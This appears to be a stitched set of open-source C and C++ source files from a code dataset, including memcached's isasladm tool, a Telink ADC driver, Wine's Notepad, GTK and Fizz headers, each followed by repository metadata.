enet_ptp_timestamp_function_config(enet_ptp_function_enum func); /* configure the PTP system time subsecond increment value */ void enet_ptp_subsecond_increment_config(uint32_t subsecond); /* adjusting the PTP clock frequency only in fine update mode */ void enet_ptp_timestamp_addend_config(uint32_t add); /* initializing or adding/subtracting to second of the PTP system time */ void enet_ptp_timestamp_update_config(uint32_t sign, uint32_t second, uint32_t subsecond); /* configure the PTP expected target time */ void enet_ptp_expected_time_config(uint32_t second, uint32_t nanosecond); /* get the PTP current system time */ void enet_ptp_system_time_get(enet_ptp_systime_struct *systime_struct); /* configure the PPS output frequency */ void enet_ptp_pps_output_frequency_config(uint32_t freq); /* configure and start PTP timestamp counter */ void enet_ptp_start(int32_t updatemethod, uint32_t init_sec, uint32_t init_subsec, uint32_t carry_cfg, uint32_t accuracy_cfg); /* adjust frequency in fine method by configure addend register */ void enet_ptp_finecorrection_adjfreq(int32_t carry_cfg); /* update system time in coarse method */ void enet_ptp_coarsecorrection_systime_update(enet_ptp_systime_struct *systime_struct); /* set system time in fine method */ void enet_ptp_finecorrection_settime(enet_ptp_systime_struct *systime_struct); /* get the ptp flag status */ FlagStatus enet_ptp_flag_get(uint32_t flag); /* internal function */ /* reset the ENET initpara struct, call it before using enet_initpara_config() */ void enet_initpara_reset(void); #endif /* GD32F30X_ENET_H */
85.144564
201
0.56327
d60f9e645466f119e5347957eac993a59e8fb431
5,545
c
C
programs/isasladm.c
abhinavdangeti/memcached
8c436755b84bbed2a6f4cadbc097ead8af628909
[ "BSD-3-Clause" ]
null
null
null
programs/isasladm.c
abhinavdangeti/memcached
8c436755b84bbed2a6f4cadbc097ead8af628909
[ "BSD-3-Clause" ]
null
null
null
programs/isasladm.c
abhinavdangeti/memcached
8c436755b84bbed2a6f4cadbc097ead8af628909
[ "BSD-3-Clause" ]
null
null
null
/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- */ #include "config.h" #include <memcached/protocol_binary.h> #include <getopt.h> #include <errno.h> #include <stdio.h> #include <string.h> #include <stdlib.h> static void retry_send(int sock, const void* buf, size_t len); static void retry_recv(int sock, void *buf, size_t len); /** * Try to connect to the server * @param host the name of the server * @param port the port to connect to * @return a socket descriptor connected to host:port for success, -1 otherwise */ static int connect_server(const char *hostname, const char *port) { struct addrinfo *ainfo = NULL; struct addrinfo hints = { .ai_flags = AI_ALL, .ai_family = PF_UNSPEC, .ai_socktype = SOCK_STREAM, .ai_protocol = IPPROTO_TCP}; if (getaddrinfo(hostname, port, &hints, &ainfo) != 0) { return -1; } int sock = -1; struct addrinfo *ai = ainfo; while (ai != NULL) { sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol); if (sock != -1) { if (connect(sock, ai->ai_addr, ai->ai_addrlen) != -1) { break; } close(sock); sock = -1; } ai = ai->ai_next; } freeaddrinfo(ainfo); if (sock == -1) { fprintf(stderr, "Failed to connect to memcached server (%s:%s): %s\n", hostname, port, strerror(errno)); } return sock; } /** * Send the chunk of data to the other side, retry if an error occurs * (or terminate the program if retry wouldn't help us) * @param sock socket to write data to * @param buf buffer to send * @param len length of data to send */ static void retry_send(int sock, const void* buf, size_t len) { off_t offset = 0; const char* ptr = buf; do { size_t num_bytes = len - offset; ssize_t nw = send(sock, ptr + offset, num_bytes, 0); if (nw == -1) { if (errno != EINTR) { fprintf(stderr, "Failed to write: %s\n", strerror(errno)); close(sock); exit(1); } } else { offset += nw; } } while (offset < len); } /** * Receive a fixed number of bytes from the socket. * (Terminate the program if we encounter a hard error...) * @param sock socket to receive data from * @param buf buffer to store data to * @param len length of data to receive */ static void retry_recv(int sock, void *buf, size_t len) { if (len == 0) { return; } off_t offset = 0; do { ssize_t nr = recv(sock, ((char*)buf) + offset, len - offset, 0); if (nr == -1) { if (errno != EINTR) { fprintf(stderr, "Failed to read: %s\n", strerror(errno)); close(sock); exit(1); } } else { if (nr == 0) { fprintf(stderr, "Connection closed\n"); close(sock); exit(1); } offset += nr; } } while (offset < len); } /** * Refresh the iSASL password database * @param sock socket connected to the server */ static void refresh(int sock) { protocol_binary_request_no_extras request = { .message.header.request = { .magic = PROTOCOL_BINARY_REQ, .opcode = PROTOCOL_BINARY_CMD_ISASL_REFRESH } }; retry_send(sock, &request, sizeof(request)); protocol_binary_response_no_extras response; retry_recv(sock, &response, sizeof(response.bytes)); if (response.message.header.response.status != 0) { uint16_t err = ntohs(response.message.header.response.status); fprintf(stderr, "Failed to refresh isasl passwd db: %d\n", err); } } /** * Program entry point. * * @param argc argument count * @param argv argument vector * @return 0 if success, error code otherwise */ int main(int argc, char **argv) { int cmd; const char * const default_ports[] = { "memcache", "11211", NULL }; const char *port = NULL; const char *host = NULL; char *ptr; /* Initialize the socket subsystem */ initialize_sockets(); while ((cmd = getopt(argc, argv, "h:p:")) != EOF) { switch (cmd) { case 'h' : host = optarg; ptr = strchr(optarg, ':'); if (ptr != NULL) { *ptr = '\0'; port = ptr + 1; } break; case 'p': port = optarg; break; default: fprintf(stderr, "Usage isasladm [-h host[:port]] [-p port] [cmd]*\n"); return 1; } } if (host == NULL) { host = "localhost"; } if (optind == argc) { fprintf(stderr, "You need to supply a command\n"); return EXIT_FAILURE; } int sock = -1; if (port == NULL) { int ii = 0; do { port = default_ports[ii++]; sock = connect_server(host, port); } while (sock == -1 && default_ports[ii] != NULL); } else { sock = connect_server(host, port); } if (sock == -1) { return 1; } for (int ii = optind; ii < argc; ++ii) { if (strcmp(argv[ii], "refresh") == 0) { refresh(sock); } else { fprintf(stderr, "Unknown command %s\n", argv[ii]); close(sock); return 1; } } close(sock); return 0; }
25.552995
79
0.531109
cf36e3cf765b84dd660fdd982c4acb1533cdeebd
427
h
C
modules/gin_plugin/plugin/gin_noteduration.h
gorangrubic/Gin
b813c3493159f649336f584ae8eb44ae84fe00d6
[ "BSD-3-Clause" ]
1
2020-07-02T17:11:40.000Z
2020-07-02T17:11:40.000Z
modules/gin_plugin/plugin/gin_noteduration.h
gorangrubic/Gin
b813c3493159f649336f584ae8eb44ae84fe00d6
[ "BSD-3-Clause" ]
null
null
null
modules/gin_plugin/plugin/gin_noteduration.h
gorangrubic/Gin
b813c3493159f649336f584ae8eb44ae84fe00d6
[ "BSD-3-Clause" ]
null
null
null
#pragma once /** How long is a note? */ class NoteDuration { public: NoteDuration (const char* name = "", float bars = 0.0f, float note = 0.0f); static const std::vector<NoteDuration>& getNoteDurations(); const String& getName() const { return name; } float toSeconds (AudioPlayHead* playhead) const; float toSeconds (float bpm) const; private: String name; float bars = 0, note = 0; };
21.35
79
0.64637
d677493cc2ccd8dafaefff9a4d2c3b1a588ed13d
5,221
c
C
TlsrSrc/tl_pvvx_ble_sdk/proj/drivers/adc_8266.c
frankpolte/UBIA
f665c5462f75456a98b49fc4c19bd078a3872a75
[ "Unlicense" ]
17
2020-02-22T10:09:06.000Z
2022-01-20T09:05:05.000Z
TlsrSrc/tl_pvvx_ble_sdk/proj/drivers/adc_8266.c
hussein-repair-co/UBIA
f665c5462f75456a98b49fc4c19bd078a3872a75
[ "Unlicense" ]
2
2020-08-18T10:11:14.000Z
2021-04-14T04:54:31.000Z
TlsrSrc/tl_pvvx_ble_sdk/proj/drivers/adc_8266.c
hussein-repair-co/UBIA
f665c5462f75456a98b49fc4c19bd078a3872a75
[ "Unlicense" ]
4
2020-05-07T20:41:27.000Z
2021-12-26T13:23:58.000Z
/******************************************************************************************************** * @file adc_8266.c * * @brief for TLSR chips * * @author telink * * @par Copyright (c) Telink Semiconductor (Shanghai) Co., Ltd. * All rights reserved. * * The information contained herein is confidential and proprietary property of Telink * Semiconductor (Shanghai) Co., Ltd. and is available under the terms * of Commercial License Agreement between Telink Semiconductor (Shanghai) * Co., Ltd. and the licensee in separate contract or the terms described here-in. * This heading MUST NOT be removed from this file. * * Licensees are granted free, non-transferable use of the information in this * file under Mutual Non-Disclosure Agreement. NO WARRENTY of ANY KIND is provided. * *******************************************************************************************************/ /* * adc_8266.c * * Created on: 2015-12-10 * Author: Telink */ #include "../tl_common.h" #if(/*__TL_LIB_8266__ || */(MCU_CORE_TYPE == MCU_CORE_8266)) #if (MODULE_ADC_ENABLE) #include "../../proj_lib/rf_drv.h" #include "adc.h" static inline void adc_set_clk_freq(u8 mhz){ reg_adc_step_l = mhz*4; reg_adc_mod = MASK_VAL(FLD_ADC_MOD, 192*4, FLD_ADC_CLK_EN, 1); } static inline void adc_set_l_chn(u8 chn, u8 mic_en){ reg_adc_pga_sel_l = chn >> 8; //C0, C1, C2 & C3 reg_adc_chn_l_sel = chn | FLD_ADC_DATA_SIGNED; if(mic_en){ analog_write (raga_pga_gain0, 0x50); analog_write (raga_pga_gain1, 0x22); reg_clk_en2 |= FLD_CLK2_DIFIO_EN; reg_dfifo_ana_in = FLD_DFIFO_AUD_INPUT_MONO | FLD_DFIFO_MIC_ADC_IN; reg_dfifo_scale = 5; // down scale by 6, 96K / 6 == 16K reg_aud_hpf_alc = 11; // volume setting reg_aud_alc_vol = 2; }else{ analog_write (raga_pga_gain0, 0x53); analog_write (raga_pga_gain1, 0x00); } } static inline void adc_set_period(void){ reg_adc_period_chn0 = 77; reg_adc_period_chn12 = 8; } void adc_clk_en(int en){ if (en) { // Eanble the clock reg_adc_clk_en |= BIT(7); // Enable ADC LDO analog_write(0x06,(analog_read(0x06)&0xfe)); } else { // Disable ADC clock reg_adc_clk_en &= ~ BIT(7); // Disable ADC LDO analog_write(0x06,(analog_read(0x06)&0xfe)); } adc_clk_poweron (); } u8 adc_clk_step_l = 0; u8 adc_chn_m_input = 0; void adc_Init(u8 adc_chn, u8 adc_ref) { // pin selection reg_adc_chn_m_sel = adc_chn; adc_chn_m_input = adc_chn; // Set sample rate and cycle, default to 14bit reg_adc_samp_res = MASK_VAL(FLD_ADC_CHNM_SAMP_CYCLE, ADC_SAMPLING_CYCLE_6 , FLD_ADC_CHNM_SAMP_RESOL, ADC_SAMPLING_RES_14BIT , FLD_ADC_CHNLR_SAMP_CYCLE, ADC_SAMPLING_CYCLE_9); // Set Reference voltage reg_adc_ref = adc_ref; // ref: 0 1.3v 04 AVDD // Set ALL manual mode reg_adc_ctrl = 0x20; // Setting clk adc_set_clk_freq(4); adc_clk_step_l = 4; // Enable ADC adc_clk_en(1); PHY_POWER_UP; // add by water } u16 adc_get(void) { // Set a run signal reg_adc_chn1_outp = FLD_ADC_CHN_MANU_START; // wait for data sleep_us(5); // read data return (reg_adc_dat_byp_outp & 0x3FFF); } /*between start and end must > 200us * ��������8266 A2оƬ * power down step�� * 1, change input to GND * 2, lower adc clk * 3, start adc * 4, wait > 200us(we can do something else) * 5, start adc again * 6, wait adc latch state,the interval calculation base on system clk and adc clk * 7, power down adc in analog register * 9, recover adc setting * */ void adc_power_down(void){ u8 adc_m_input = reg_adc_chn_m_sel; u8 adc_step_low = reg_adc_step_l; /*step 0*/ write_reg8(0x80002c,0x12); //chnm: GND write_reg8(0x800069,0x01); //set adc clk = 192M/(192*4) = 0.25K write_reg8(0x800035,0x80); //start sleep_us(200); /*step 1*/ write_reg8(0x800035,0x80); //start again sleep_us(26); //14 us analog_write(0x06,analog_read(0x06) | 0x01); /*step 2*/ reg_adc_chn_m_sel = adc_m_input; reg_adc_step_l = adc_step_low;//set adc clk= 192M * 16/(192 *4) = 4M } void adc_power_down_start(void){ write_reg8(0x80002c,0x12); //chn: GND write_reg8(0x800069,0x01); //set adc clk = 192M/(192*4) = 0.25K write_reg8(0x800035,0x80); //start } void adc_power_down_end(void){ write_reg8(0x800035,0x80); //start again sleep_us(26); //14 us analog_write(0x06,analog_read(0x06) | 0x01); } void adc_setting_recover(void){ #if 1 reg_adc_step_l = adc_clk_step_l; reg_adc_chn_m_sel = adc_chn_m_input; #else reg_adc_chn_m_sel = FLD_ADC_CHN_C7; reg_adc_step_l = 16;//set adc clk= 192M * 16/(192 *4) = 4M #endif } /* void adc_example(void) { adc_Init(GPIO_PC2, ADC_REF_1_3V); ...... u16 result = adc_get(); printf("voltage = %dmv\r\n", ((result*1300)>>14)); // Here >>14 means ( result * 1300 / 0x3fff) } */ #if ADC_SET_CHN_ENABLE unsigned int adc_ref_get() { #if (ADC_CHNM_REF_SRC == ADC_REF_AVDD) return 3300; #elif(ADC_CHNM_REF_SRC == ADC_REF_1_3V) return 1260; #endif } void adc_set_chn_init() { adc_Init(ADC_CHNM_ANA_INPUT, ADC_CHNM_REF_SRC); } #endif unsigned short adc_val_get() { return adc_get(); } #endif #endif
24.744076
105
0.658111
aa7d985d901c3b7c667ba4ded744213db88ee300
4,045
h
C
sysroot/usr/include/gtk-2.0/gtk/gtktexttagtable.h
219-design/sysroot_qt5.15.0_binaries_armv6zk_rpizero
c3ad917b65b970c451148391ef1c2483593702ed
[ "MIT" ]
1
2022-02-11T23:14:31.000Z
2022-02-11T23:14:31.000Z
vendor/mono/osx/include/gtk-2.0/gtk/gtktexttagtable.h
njchensl/ASQUI
285d42a94573457dc7772a6a1d05b06ffb9a6398
[ "MIT" ]
null
null
null
vendor/mono/osx/include/gtk-2.0/gtk/gtktexttagtable.h
njchensl/ASQUI
285d42a94573457dc7772a6a1d05b06ffb9a6398
[ "MIT" ]
1
2020-02-04T15:39:06.000Z
2020-02-04T15:39:06.000Z
/* GTK - The GIMP Toolkit * Copyright (C) 1995-1997 Peter Mattis, Spencer Kimball and Josh MacDonald * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ /* * Modified by the GTK+ Team and others 1997-2000. See the AUTHORS * file for a list of people on the GTK+ Team. See the ChangeLog * files for a list of changes. These files are distributed with * GTK+ at ftp://ftp.gtk.org/pub/gtk/. */ #ifndef __GTK_TEXT_TAG_TABLE_H__ #define __GTK_TEXT_TAG_TABLE_H__ #if defined(GTK_DISABLE_SINGLE_INCLUDES) && !defined (__GTK_H_INSIDE__) && !defined (GTK_COMPILATION) #error "Only <gtk/gtk.h> can be included directly." #endif #include <gtk/gtktexttag.h> G_BEGIN_DECLS typedef void (* GtkTextTagTableForeach) (GtkTextTag *tag, gpointer data); #define GTK_TYPE_TEXT_TAG_TABLE (gtk_text_tag_table_get_type ()) #define GTK_TEXT_TAG_TABLE(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), GTK_TYPE_TEXT_TAG_TABLE, GtkTextTagTable)) #define GTK_TEXT_TAG_TABLE_CLASS(klass) (G_TYPE_CHECK_CLASS_CAST ((klass), GTK_TYPE_TEXT_TAG_TABLE, GtkTextTagTableClass)) #define GTK_IS_TEXT_TAG_TABLE(obj) (G_TYPE_CHECK_INSTANCE_TYPE ((obj), GTK_TYPE_TEXT_TAG_TABLE)) #define GTK_IS_TEXT_TAG_TABLE_CLASS(klass) (G_TYPE_CHECK_CLASS_TYPE ((klass), GTK_TYPE_TEXT_TAG_TABLE)) #define GTK_TEXT_TAG_TABLE_GET_CLASS(obj) (G_TYPE_INSTANCE_GET_CLASS ((obj), GTK_TYPE_TEXT_TAG_TABLE, GtkTextTagTableClass)) typedef struct _GtkTextTagTableClass GtkTextTagTableClass; struct _GtkTextTagTable { GObject parent_instance; GHashTable *GSEAL (hash); GSList *GSEAL (anonymous); gint GSEAL (anon_count); GSList *GSEAL (buffers); }; struct _GtkTextTagTableClass { GObjectClass parent_class; void (* tag_changed) (GtkTextTagTable *table, GtkTextTag *tag, gboolean size_changed); void (* tag_added) (GtkTextTagTable *table, GtkTextTag *tag); void (* tag_removed) (GtkTextTagTable *table, GtkTextTag *tag); /* Padding for future expansion */ void (*_gtk_reserved1) (void); void (*_gtk_reserved2) (void); void (*_gtk_reserved3) (void); void (*_gtk_reserved4) (void); }; GType gtk_text_tag_table_get_type (void) G_GNUC_CONST; GtkTextTagTable *gtk_text_tag_table_new (void); void gtk_text_tag_table_add (GtkTextTagTable *table, GtkTextTag *tag); void gtk_text_tag_table_remove (GtkTextTagTable *table, GtkTextTag *tag); GtkTextTag *gtk_text_tag_table_lookup (GtkTextTagTable *table, const gchar *name); void gtk_text_tag_table_foreach (GtkTextTagTable *table, GtkTextTagTableForeach func, gpointer data); gint gtk_text_tag_table_get_size (GtkTextTagTable *table); /* INTERNAL private stuff - not even exported from the library on * many platforms */ void _gtk_text_tag_table_add_buffer (GtkTextTagTable *table, gpointer buffer); void _gtk_text_tag_table_remove_buffer (GtkTextTagTable *table, gpointer buffer); G_END_DECLS #endif
39.656863
125
0.679604
a63f0535d241d8bf16d43a46a3e4400d6d00cc79
10,129
c
C
programs/notepad/main.c
roytam1/wine-win31look
2c8284c53a46c1309fbf62a3998538c44fcbf207
[ "MIT" ]
1
2019-10-23T04:07:16.000Z
2019-10-23T04:07:16.000Z
programs/notepad/main.c
roytam1/wine-win31look
2c8284c53a46c1309fbf62a3998538c44fcbf207
[ "MIT" ]
null
null
null
programs/notepad/main.c
roytam1/wine-win31look
2c8284c53a46c1309fbf62a3998538c44fcbf207
[ "MIT" ]
null
null
null
/* * Notepad * * Copyright 2000 Mike McCormack <Mike_McCormack@looksmart.com.au> * Copyright 1997,98 Marcel Baur <mbaur@g26.ethz.ch> * Copyright 2002 Sylvain Petreolle <spetreolle@yahoo.fr> * Copyright 2002 Andriy Palamarchuk * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #define UNICODE #include <windows.h> #include <stdio.h> #include "main.h" #include "dialog.h" #include "notepad_res.h" NOTEPAD_GLOBALS Globals; static ATOM aFINDMSGSTRING; /*********************************************************************** * * SetFileName * * Sets Global File Name. */ VOID SetFileName(LPCWSTR szFileName) { lstrcpy(Globals.szFileName, szFileName); Globals.szFileTitle[0] = 0; GetFileTitle(szFileName, Globals.szFileTitle, sizeof(Globals.szFileTitle)); } /*********************************************************************** * * NOTEPAD_MenuCommand * * All handling of main menu events */ static int NOTEPAD_MenuCommand(WPARAM wParam) { switch (wParam) { case CMD_NEW: DIALOG_FileNew(); break; case CMD_OPEN: DIALOG_FileOpen(); break; case CMD_SAVE: DIALOG_FileSave(); break; case CMD_SAVE_AS: DIALOG_FileSaveAs(); break; case CMD_PRINT: DIALOG_FilePrint(); break; case CMD_PAGE_SETUP: DIALOG_FilePageSetup(); break; case CMD_PRINTER_SETUP: DIALOG_FilePrinterSetup();break; case CMD_EXIT: DIALOG_FileExit(); break; case CMD_UNDO: DIALOG_EditUndo(); break; case CMD_CUT: DIALOG_EditCut(); break; case CMD_COPY: DIALOG_EditCopy(); break; case CMD_PASTE: DIALOG_EditPaste(); break; case CMD_DELETE: DIALOG_EditDelete(); break; case CMD_SELECT_ALL: DIALOG_EditSelectAll(); break; case CMD_TIME_DATE: DIALOG_EditTimeDate();break; case CMD_SEARCH: DIALOG_Search(); break; case CMD_SEARCH_NEXT: DIALOG_SearchNext(); break; case CMD_WRAP: DIALOG_EditWrap(); break; case CMD_FONT: DIALOG_SelectFont(); break; case CMD_HELP_CONTENTS: DIALOG_HelpContents(); break; case CMD_HELP_SEARCH: DIALOG_HelpSearch(); break; case CMD_HELP_ON_HELP: DIALOG_HelpHelp(); break; case CMD_LICENSE: DIALOG_HelpLicense(); break; case CMD_NO_WARRANTY: DIALOG_HelpNoWarranty(); break; case CMD_ABOUT_WINE: DIALOG_HelpAboutWine(); break; default: break; } return 0; } /*********************************************************************** * Data Initialization */ static VOID NOTEPAD_InitData(VOID) { LPWSTR p = Globals.szFilter; static const WCHAR txt_files[] = { '*','.','t','x','t',0 }; static const WCHAR all_files[] = { '*','.','*',0 }; LoadString(Globals.hInstance, STRING_TEXT_FILES_TXT, p, MAX_STRING_LEN); p += lstrlen(p) + 1; lstrcpy(p, txt_files); p += lstrlen(p) + 1; LoadString(Globals.hInstance, STRING_ALL_FILES, p, MAX_STRING_LEN); p += lstrlen(p) + 1; lstrcpy(p, all_files); p += lstrlen(p) + 1; *p = '\0'; } /*********************************************************************** * * NOTEPAD_WndProc */ static LRESULT WINAPI NOTEPAD_WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_CREATE: { static const WCHAR editW[] = { 'e','d','i','t',0 }; RECT rc; GetClientRect(hWnd, &rc); Globals.hEdit = CreateWindow(editW, NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | WS_VSCROLL | ES_AUTOVSCROLL | ES_MULTILINE, 0, 0, rc.right, rc.bottom, hWnd, NULL, Globals.hInstance, NULL); break; } case WM_COMMAND: NOTEPAD_MenuCommand(LOWORD(wParam)); break; case WM_DESTROYCLIPBOARD: /*MessageBox(Globals.hMainWnd, "Empty clipboard", "Debug", MB_ICONEXCLAMATION);*/ break; case WM_CLOSE: if (DoCloseFile()) { DestroyWindow(hWnd); } break; case WM_DESTROY: PostQuitMessage(0); break; case WM_SIZE: SetWindowPos(Globals.hEdit, NULL, 0, 0, LOWORD(lParam), HIWORD(lParam), SWP_NOOWNERZORDER | SWP_NOZORDER); break; case WM_SETFOCUS: SetFocus(Globals.hEdit); break; case WM_DROPFILES: { WCHAR szFileName[MAX_PATH]; HANDLE hDrop = (HANDLE) wParam; DragQueryFile(hDrop, 0, szFileName, SIZEOF(szFileName)); DragFinish(hDrop); DoOpenFile(szFileName); break; } default: return DefWindowProc(hWnd, msg, wParam, lParam); } return 0; } static int AlertFileDoesNotExist(LPCWSTR szFileName) { int nResult; WCHAR szMessage[MAX_STRING_LEN]; WCHAR szResource[MAX_STRING_LEN]; LoadString(Globals.hInstance, STRING_DOESNOTEXIST, szResource, SIZEOF(szResource)); wsprintf(szMessage, szResource, szFileName); LoadString(Globals.hInstance, STRING_ERROR, szResource, SIZEOF(szResource)); nResult = MessageBox(Globals.hMainWnd, szMessage, szResource, MB_ICONEXCLAMATION | MB_YESNO); return(nResult); } static void HandleCommandLine(LPWSTR cmdline) { WCHAR delimiter; /* skip white space */ while (*cmdline && *cmdline == ' ') cmdline++; /* skip executable name */ delimiter = ' '; if (*cmdline == '"') delimiter = '"'; do { cmdline++; } while (*cmdline && *cmdline != delimiter); if (*cmdline == delimiter) cmdline++; while (*cmdline && (*cmdline == ' ' || *cmdline == '-')) { WCHAR option; if (*cmdline++ == ' ') continue; option = *cmdline; if (option) cmdline++; while (*cmdline && *cmdline == ' ') cmdline++; switch(option) { case 'p': case 'P': printf("Print file: "); /* TODO - not yet able to print a file */ break; } } if (*cmdline) { /* file name is passed in the command line */ LPCWSTR file_name; BOOL file_exists; WCHAR buf[MAX_PATH]; if (cmdline[0] == '"') { cmdline++; cmdline[lstrlen(cmdline) - 1] = 0; } if (FileExists(cmdline)) { file_exists = TRUE; file_name = cmdline; } else { static const WCHAR txtW[] = { '.','t','x','t',0 }; /* try to find file with ".txt" extension */ if (!lstrcmp(txtW, cmdline + lstrlen(cmdline) - lstrlen(txtW))) { file_exists = FALSE; file_name = cmdline; } else { lstrcpyn(buf, cmdline, MAX_PATH - lstrlen(txtW) - 1); lstrcat(buf, txtW); file_name = buf; file_exists = FileExists(buf); } } if (file_exists) { DoOpenFile(file_name); InvalidateRect(Globals.hMainWnd, NULL, FALSE); } else { switch (AlertFileDoesNotExist(file_name)) { case IDYES: DoOpenFile(file_name); break; case IDNO: break; } } } } /*********************************************************************** * * WinMain */ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE prev, LPSTR cmdline, int show) { MSG msg; HACCEL hAccel; WNDCLASSEX class; static const WCHAR className[] = {'N','P','C','l','a','s','s',0}; static const WCHAR winName[] = {'N','o','t','e','p','a','d',0}; aFINDMSGSTRING = RegisterWindowMessage(FINDMSGSTRING); ZeroMemory(&Globals, sizeof(Globals)); Globals.hInstance = hInstance; ZeroMemory(&class, sizeof(class)); class.cbSize = sizeof(class); class.lpfnWndProc = NOTEPAD_WndProc; class.hInstance = Globals.hInstance; class.hIcon = LoadIcon(0, IDI_APPLICATION); class.hCursor = LoadCursor(0, IDC_ARROW); class.hbrBackground = (HBRUSH)(COLOR_WINDOW); class.lpszMenuName = MAKEINTRESOURCE(MAIN_MENU); class.lpszClassName = className; if (!RegisterClassEx(&class)) return FALSE; /* Setup windows */ Globals.hMainWnd = CreateWindow(className, winName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, Globals.hInstance, NULL); if (!Globals.hMainWnd) { ShowLastError(); ExitProcess(1); } NOTEPAD_InitData(); DIALOG_FileNew(); ShowWindow(Globals.hMainWnd, show); UpdateWindow(Globals.hMainWnd); DragAcceptFiles(Globals.hMainWnd, TRUE); HandleCommandLine(GetCommandLine()); hAccel = LoadAccelerators( hInstance, MAKEINTRESOURCE(ID_ACCEL) ); while (GetMessage(&msg, 0, 0, 0)) { if (!TranslateAccelerator(Globals.hMainWnd, hAccel, &msg) && !IsDialogMessage(Globals.hFindReplaceDlg, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return msg.wParam; }
28.532394
110
0.563728
b752f733cfa9f7b86447e2fc411d87878ebed67f
5,237
h
C
fizz/crypto/aead/Aead.h
dgrnbrg-meta/fizz
a69c69f413b1441d6b98cb7a8deb173325780980
[ "BSD-3-Clause" ]
995
2018-08-06T10:41:15.000Z
2022-03-16T19:49:14.000Z
fizz/crypto/aead/Aead.h
dgrnbrg-meta/fizz
a69c69f413b1441d6b98cb7a8deb173325780980
[ "BSD-3-Clause" ]
68
2018-08-06T16:29:06.000Z
2022-03-11T21:20:10.000Z
fizz/crypto/aead/Aead.h
dgrnbrg-meta/fizz
a69c69f413b1441d6b98cb7a8deb173325780980
[ "BSD-3-Clause" ]
147
2018-08-06T16:52:49.000Z
2022-03-14T21:25:35.000Z
/* * Copyright (c) 2018-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #pragma once #include <folly/Optional.h> #include <folly/io/IOBuf.h> namespace fizz { struct TrafficKey { std::unique_ptr<folly::IOBuf> key; std::unique_ptr<folly::IOBuf> iv; TrafficKey clone() const { return TrafficKey{key->clone(), iv->clone()}; } }; /** * Interface for aead algorithms (RFC 5116). */ class Aead { public: enum class BufferOption { RespectSharedPolicy, // Assume shared = no in-place AllowInPlace, // Assume in-place editing is safe AllowFullModification, // Assume in-place editing and growing into // head/tailroom are safe. }; enum class AllocationOption { Allow, // Allow allocating new buffers Deny, // Disallow allocating new buffers }; struct AeadOptions { BufferOption bufferOpt = BufferOption::RespectSharedPolicy; AllocationOption allocOpt = AllocationOption::Allow; }; virtual ~Aead() = default; /** * Returns the number of key bytes needed by this aead. */ virtual size_t keyLength() const = 0; /** * Returns the number of iv bytes needed by this aead. */ virtual size_t ivLength() const = 0; /** * Sets the key and iv for this aead. The length of the key and iv must match * keyLength() and ivLength(). */ virtual void setKey(TrafficKey key) = 0; /** * Retrieves a shallow copy (IOBuf cloned) version of the TrafficKey * corresponding to this AEAD, if set. Otherwise, returns none. */ virtual folly::Optional<TrafficKey> getKey() const = 0; /** * Encrypts plaintext. Will throw on error. * * Uses BufferOption::RespectSharedPolicy and AllocationOption::Allow by * default. */ std::unique_ptr<folly::IOBuf> encrypt( std::unique_ptr<folly::IOBuf>&& plaintext, const folly::IOBuf* associatedData, uint64_t seqNum) const { return encrypt( std::forward<std::unique_ptr<folly::IOBuf>>(plaintext), associatedData, seqNum, {BufferOption::RespectSharedPolicy, AllocationOption::Allow}); } virtual std::unique_ptr<folly::IOBuf> encrypt( std::unique_ptr<folly::IOBuf>&& plaintext, const folly::IOBuf* associatedData, uint64_t seqNum, AeadOptions options) const = 0; /** * Version of encrypt which is guaranteed to be inplace. Will throw an * exception if the inplace encryption cannot be done. * * Equivalent of calling encrypt() with BufferOption::AllowFullModification * and AllocationOption::Deny. */ virtual std::unique_ptr<folly::IOBuf> inplaceEncrypt( std::unique_ptr<folly::IOBuf>&& plaintext, const folly::IOBuf* associatedData, uint64_t seqNum) const = 0; /** * Set a hint to the AEAD about how much space to try to leave as headroom for * ciphertexts returned from encrypt. Implementations may or may not honor * this. */ virtual void setEncryptedBufferHeadroom(size_t headroom) = 0; /** * Decrypt ciphertext. Will throw if the ciphertext does not decrypt * successfully. * * Uses BufferOption::RespectSharedPolicy and AllocationOption::Allow by * default. */ std::unique_ptr<folly::IOBuf> decrypt( std::unique_ptr<folly::IOBuf>&& ciphertext, const folly::IOBuf* associatedData, uint64_t seqNum) const { return decrypt( std::forward<std::unique_ptr<folly::IOBuf>>(ciphertext), associatedData, seqNum, {BufferOption::RespectSharedPolicy, AllocationOption::Allow}); } virtual std::unique_ptr<folly::IOBuf> decrypt( std::unique_ptr<folly::IOBuf>&& ciphertext, const folly::IOBuf* associatedData, uint64_t seqNum, AeadOptions options) const { auto plaintext = tryDecrypt( std::forward<std::unique_ptr<folly::IOBuf>>(ciphertext), associatedData, seqNum, options); if (!plaintext) { throw std::runtime_error("decryption failed"); } return std::move(*plaintext); } /** * Decrypt ciphertext. Will return none if the ciphertext does not decrypt * successfully. May still throw from errors unrelated to ciphertext. * * Uses BufferOption::RespectSharedPolicy and AllocationOption::Allow by * 